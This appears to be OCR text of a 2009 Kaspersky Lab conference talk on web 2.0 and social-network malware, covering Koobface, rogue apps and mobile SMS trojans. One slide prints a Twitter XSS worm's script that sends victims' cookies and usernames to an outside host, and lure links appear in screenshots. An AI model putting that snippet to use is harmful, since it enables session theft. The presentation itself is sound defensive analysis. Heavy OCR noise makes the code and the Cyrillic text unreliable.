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When web 2.0 snheezes,

everyone gets sick
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Overview I%SI’EI(SI(Y'_E

e What is web 2.0?
e Social networking malware

 General structure of a web 2.0 attack
e Technical vulnerabilities, human factor
 Koobface — the web 2.0 worm

 Threats beyond classic malware

e Big problems with short URLs

* Malware inside the browser: XSS worms, 3'd party applications
* From web 2.0 to mobile malware

* Problems beyond malware (privacy, data leakage)

Targeted attacks become mainstream
e Conclusions — what’s next?
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Our Race Weekend

Brawn GP's Jenson Button secured his fourth pole of
the season and his best gualifying postion ever for
the Monaco Grand Prix around the iconic Monte Carlo
street circuit today. Team-mate ...

P Read more

Latest News
|
Following the official launch of England’s bid to host
the 2018 FIFA World Cup at Wembley Stadium this
week, Brawn GP's Jenson Button was delighted to
lend his support to the

» Read more







The White House KAPZR|KY 2

H President Barack Obama
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THE ADMINISTRATION - PRESIDENT BARACK OBAMA SEARCH

PRESIDENT BARACK OBAMA THE

Barack H. Obama is the 44th President of the ADMINISTRATION

United States. President Barack

Obama Facabook You YouTuba

His story is the.Amerlcan story — \falu.es from the Vice President Joe Biden gl el oulube

heartland, a middle-class upbringing in a strang ) ) Twitter Vimeo

family, hard work and education as the means of First Lady Michelle

getting ahead, and the conviction that a life sa Obama Flickr § iTunes

blessed should be lived in service to others. Dr. Jill Biden .

. MySpace

With a father from Kenya and a mother from The Cabinet

Kansas, President Obama was born in Hawaii on White House Staff

August 4, 1961. He was raised with help from his Executive Office of the I ) o . o
Download Low-res (200KE) grandfather, who served in Patton's army, and his President A NEW ERA of RESPONSIBILITY

Download Hi-res (1ME) grandmother, who worked her way up from the
secretarial pool to middle management at a bank.

FY 2010 BUDGET

Afrer working his way through college with the help of scholarships and student
loans, President Obama moved to Chicago, where he worked with a group of churches to help rebuild
communities devastated by the closure of local steel plants.

He went on to attend law school, where he became the first African—American president of the Harvard
- - - - - . 1 ] T 'l Y7 ] 4
Law Rewview. Upon graduation, he returned to Chicago to help lead a voter registration drive, teach YOUR MONEYatr WORE

constitutional law at the University of Chicago, and remain active in his community.
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Fresident Obama's years of public service are based around his unwavering belief in the ability to unite R E (‘ 0 E RY'(J U\

people around a politics of purpose. In the lllincis State Senate, he passed the first major ethics reform in P ORETNFORMATION
25 years, cut taxes for working families, and expanded health care for children and their parents. As a
United States Senator, he reached across the aisle to pass groundbreaking lobbying reform, lock up the
world's most dangerous weapons, and bring transparency to government by putting federal spending

anline. | éll
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@ Iran bans Facebock ahead ... °
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worldnews/middleeast/iran/5378082/Iran-bans-Facebook-ahead-of-election.html  » | [~ S~
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Iran bans Facebook ahead of election

Iran has blocked the use of the popular social networking site Facebook in a move crifi
claim is an attempt to muzz| pposition ahead of next month's election.

Last Updated: 3:26PM BST 24 May 2009 Text Size BB
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World News
Middle East

Iran has blocked the use of the popular social networking site Facebook Photo: PA

Blogs and websites have become an important campaign tool for Mir Hossein
Mousawvi, the leading reformist candidate, to mobilise Iran’s critical youth vote
before the June 12 ballaot.

Iranian authorities often block anything on the internet considered critical of the
Islamic regime, but the timing of the latest move suggested it was done to
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Web 2.0 — profitable business? I</.\SI’ERSKY§

% Facebook has $200 million i...
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Facebook has $200 million
investment from Russian firm
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Markets

Deals Tue May 26, 2009 11:16pm EOT

Small Business -] Text [+]

Green Business

Industries : By Anupreeta Das

Industry Summits facebook MEW Y ORK (Reuters) - A Russian Internet

Stocks investment firm has invested $200 million
in Facebook, giving the social networking

Funds company a cash buffer during the

ETFs recession and pegging its value at $10

- billion.
Currencies

Digital Sky Technologies, which has
invested in leading Russian web properties

Commeodities

Options Tefl Full Size  |ike Mail.ru and Vkontakte.ru, will take a
Economy nearly 2 percent stake in Facebook in
Bonds MARKET NEWS exchange for_preferred stock, the two
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Analyst Research v Stock futures signal rebound on
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. + Qil holds above $63 as OPEC when Microsoft Corp invested $240 million
keeps output unchanged in Facebook, in return for a 1.6 percent
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Facebook population— bigger than USA? I<ASI’ERSKY§

300 Million and On
by Mark Zudkerberg Tue at 11:00pm

o oss the world, It's a large number, but
'|:|‘|E way we 1:h|nk aI:u:nut this is that we're just getting started on our goal of connecting
EVEryone.

Because we want to make it as easy and fast as possible for the world to connect, one of the
things we think a lot about is how to make Facebook perform even faster and more efficently
as we grow. We face a lot of fun and important challenges that require rethinking the current
systems for enabling information flow across the web,

The site we all use every day is built by a relatively small group of the smartest engineers and
entrepreneurs who are solving substantial problems and each making a huge impact for the 300
million people using Facebook. In fact, the ratio of Facebook users to Facebook engineers
makes it so that every engineer here is responsible for maore than one million users, It's hard to
hawve an impact like that anywhere else,

We're also succeeding at building Facebook in a sustainable way. Earlier this year, we said we
expected to be cash flow positive sometime in 2010, and I'm pleased to share that we achieved
this milestone last quarter. This is important to us because it sets Facebook up to be a strong
independent service for the long term.

Over time, Facebook will continue to be as strong as all of the connections you make. We'll
continue building new and better things to make connecting with the people you care about as
easy and rewarding as possible, We thank all of you for helping us reach the point where we
are connecting 300 million people, and we hope to serve you and many more people in
increasingly deep and innovative ways in the months and years ahead.
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What Web 2.0 is? KAPZR|KY 2

New attack vectors
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Does a Golden Globe Win Hurt Heath Ledger’'s Oscar Chances? ©
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Twitter
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Jessica Alba naked

Jessica Alba naked at Company Met
Albany, Mew Yoark Area

Current = Jessica Alba naked at Company Net
Industry  Awiation & Aerospace
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& lossica Alba naked PART 2
® Jlessica Alba naked PART 3

D Jessica Alba naked’'s Experience
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Mumber of malicious files

Social networking malware I<ASI’ERSKY§

* Total number of malicious software samples
spreading through social networks

Kaspersky Lab Kaspersky Lab
30 000 2000
25 000 . 7000
@ 6000
20 000 E = Myspace
a
L 3000 == Odnoklassniki
=]
15 000 T 4000 _ ;:'gihmh
L]
E == Cyworld
10 000 ' 3000 — Skyblog
8 — Orkut
E 2000 == Friendster
5 000 E
= = Livejournal
1000
0 ———1Tt—T ]

2001
2002
2003
2004
2005
2006
2007
2008
2001
2002
2003
2004
2005
2006
2007
2008




Vulnerable systems: humans & machines I<ASI’ERSI<Y_==

» Technical factor 00111001010101011
e 0-day vulnerabilities

1100011010111??91

e Lack of patches 010

* Unlicensed software 0100101101110616606

e Human factor

e Social engineering
e Curious and naive users
e Trust —a human “vulnerability”
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Technical vulnerabilities I<ASI’ERSKY§

e Critical vulnerabilities in 2008
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Human vulnerabilities — Mac DNS Changer I(/.\SI’ERSKYE
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The real human vulnerability I<ASPERSI<Y§
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Human vulnerabilities - Kido I(/.\SI’ERSKYE

 Human factor and Kido/Conficker
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General structure of a web 2.0 attack KA{PIR{KY 2
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The web 2.0 worm I<ASI’ERSKY§

e June 2009 - Explosive growth of Koobface modifications

e The number of variants detected jumped from 324 at the end of May to
almost 1000 by the end of June 2009

This sign of increased cybercriminal activity involving social networks in the
past months proves that the strategies being used by the bad guys to infect
users are much more efficient when adding the social context to the attacks
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The web 2.0 worm

Net-Worm.Win32.Koobface
Evolution of new modifications identified by Kaspersky Lab
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Koobface on the tweet I<ASI’ERSI<Y§

e June 2009 - Koobface spreading through Twitter also

e First discovered one year ago by Kaspersky Lab, Koobface was only targeting
Facebook and MySpace users

e Being constantly “improved”, now spreading through more social networks:
Facebook, MySpace, Hi5, Bebo, Tagged, Netlog and most recently... Twitter

Realtime results for My home video :) 0.05 seconds

1 more results since you started searching. Refresh to see them.

BabbyBolton: My home video ) hitp//zoomtox. comfyoutube/

minutes ago from web - Reply - View Tweet

4
e |

8 minutes ago from web - Reply - View Tweet

m ravengoatzzz: My home video :) hitp:/zoomtox com/youtube/

% siraitcashhomie: My home video ) hitp.//zoomtox com/youtube/
10 minutes ago from web - Reply - View Tweet
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Adobe Flash Player Update
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Koobface — social engineering at work
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Social networks: from ecstasy to agony I<ASI’ERSI<Y'_8

e Web 2.0 malware: very similar to email worms
e Infection success rate of malware:

* 10% when spreading through social networks
e only 1% when spreading through email

e Social networking threats mean more than this
* Social networks themselves are vulnerable
e Social engineering is made easy with short URLs
* Personal data leakage, privacy issues
e Another risk: 3rd party applications
e Social networks open doors to mobile malware

Targeted attacks



Twitter: comeback of the XSS worm I<ASI’ERSKY§

e XSS Worm: What are you doing?
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Twitter: comeback of the XSS worm I<ASI’ERSI<Y§

ONE DAY IN THE LIFE OF A TWITTER WORM

™

var content = document.documentElement.innerHTHL

userreg = new HegExpls<{meta content=""(_.%}" pame=""session—user—screen_name" g
var username = userreg.exect{contentl

username = usernamel1]

var cookie
cookie = urlencode{document.cookiel

document .write " {img src=‘http:ffnihuggiuiuvnnnq.cum!x.php?c="[; cookie + ""Buszername="" + username +]"’
document .write{"{imgy src='http: ./~ eyl _comn/log.gif "’ >"")




Short URLSs, big problems I<ASI’ERSKY_==

e June 2009 — URL shortening service Cli.gs gets hacked

* The best things about short URLs

e There are so many! = bit.ly

m tinyurl.com

* Problems with short URLs:

B twitpic.com

e Social engineering is easy mis.gd
. v e B plurk.com

* Questionable reliability |
myloc.me

e Implicit trust

/ ow.ly
e C(li.gs gets hacked, no malicious ( tr.im

intent — but what if? tumblr.com
ff.im

e Too many redirects hosted in : other
the same place is not good news




Social networking and privacy concerns I<ASI’ERSKY§




Social engineering at its best

e April 2009 — Twitter admin panel gets hacked

Public information posted to
social networks by twitter admin

Used by French hacker
in social engineering attack

To answer Yahoo! Mail security
qguestion and reset the password

LY VSRS V S Ry | Ry
vwOoOw - I11y rarioo mdairi dccourin

was just hacked.”

“If anyone with Yahoo! Security
is out there, hit me up with an
reply”

arks Tools Help

https://admin.twitter.com/admin

Twitter Admin

Users

Reports and Maintenance

Abuse and Errors

Spam moderation

API
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Third party applications I<ASPERSI<Y§

 “Photo of the Day” application - Web 2.0 botnet

¢ Photo of the Day 4 Browse More Applications

+] Go to Application

ecome 4 Fan

vigw Upoates

Hlock Application
Share |+
About this Application

dk ko w (5.0 out of 5)

National

Geographic Users
43 monthly active users
Displays the photo of the day from Kational Geogrpahic.

Caregories
Each day a different image of our fascinating universe is featured | Just for Fun, Photo



Third party applications I<ASI’ERSI<Y§

* Facebook certifies 15t batch of 120 verified apps

* Announced in November 2008

* Rolled out in May 2009 Information
» $375 fee for developers dokdokok (35 out o 8

 Must be renewed each year Users:

. . . 1J5F1ri?ér5u:lnf monkhly active users,

e 52,000 applications in total f‘mw

* How many will get verified? LiFestyle

. Facebook

e Several bugs were discovered Verified App ¥~




From social networks to mobile malware

* Trojan-SMS.J2ME.Konov
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From social networks to mobile malware I<ASI’ERSKY§

| B H'ﬂ HTa “TE rnagHan NMOWCK rpynnk.i CODLITHA nNHO K NnpErnacHTe BbIATH
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MoK Ay AMOZANHCH
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Ha c4eT MoBMNEHOro TenedoHa.

MoK BoTpeHr BOHYC 3ABHCHMT 0T AaThl PEFHCTPALMH, Ko HHBIX HaCO0E Ha CaHTe W Baled aKTHEHOCTH,
Maor HosocTH Ball GoHYC Ha AaHHEIA HOMEHT EDCTaBnHEi 200 p'-,-'ﬁﬂeﬁi

AnA NoMyYeHHA BoHYCS
HEoDXOAMMD CKa4aTe JAYA Nporpammy Ha MODMNEHEIR TenegoH, (Fhcmopris @0 Joranoens HHe)

Mok JamMeTrH

Mok [pynnel

Mok HacTporkK

MpeAnoHEHHA BpeMA AEHCTEMA SKUMM OrpaHHYeHol
MiEHHS Mocne SaEepLUEHAA SELHH,
Bkl HE CHOWETE EOCNONES0BATCA AAHHEIM BOHYCOM,
MpHRoKEHKA : i i
¥eacocTanoce [ 14 HACOE 14 23 M ]
Bonpockl

JAYA nporpaMMa CkauvMBAETCA NPH NEPEXOAE HA CAAT {CChbINKa HAME] :
http:/ /vkbonus.tk

K3k 3anycTHTh :

1. CKaY4aTe NpOrparyy C MOAMNEHOMD TenedoHa M YCTaHOEMTE &,

2, CKa4aTh NPOrpamMmy © KOMNBHOTERA M NocpeaAcTam J56-kabend, ve-nopta unk BlueTooth nepegate &8 Ha MOGMNEHEI
TenedoH M YCTAHOEHTE.

0 cafTe TEXNO4AE0HES finor NpaErna  peknamMa  noMole

B KoHTakTe & 2006-2005
Magen Jwpoe
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Targeted attacks become mainstream I<ASI’ERSI<Y§

* So much personal information becomes public on social
networks nowadays

e Advertisers are already doing it: targeted ads

* Age, gender, location, interests, work field, browsing habits, relationships

 Targeted ads? Targeted attacks are already happening

e But social networks are enabling the cybercriminals to
deliver bulk targeted attacks

 The personal data is there. Next step? Automation.

e Geographical IP location has been around for a while
e Automatic language translation services are getting better and better
* Personal interests & tastes are public (ie: trending topics)



That's it? KAPZR|KY 2

This is just the beginning!



What's next? KAIPZR{KY 3

 The number and complexity of threats
that exploit web 2.0 will continue to grow

e Social networks will open up new ways for
bulk targeted attacks against individuals

* Localized, contextualized, personalized

* It will be very hard for social networks to
do better: unfortunately, their business '
means usability, not security

* Be careful out there!




Thank you! Questions?

stefant@kaspersky.ro
twitter.com/stefant

Stefan Tanase — Kaspersky Lab
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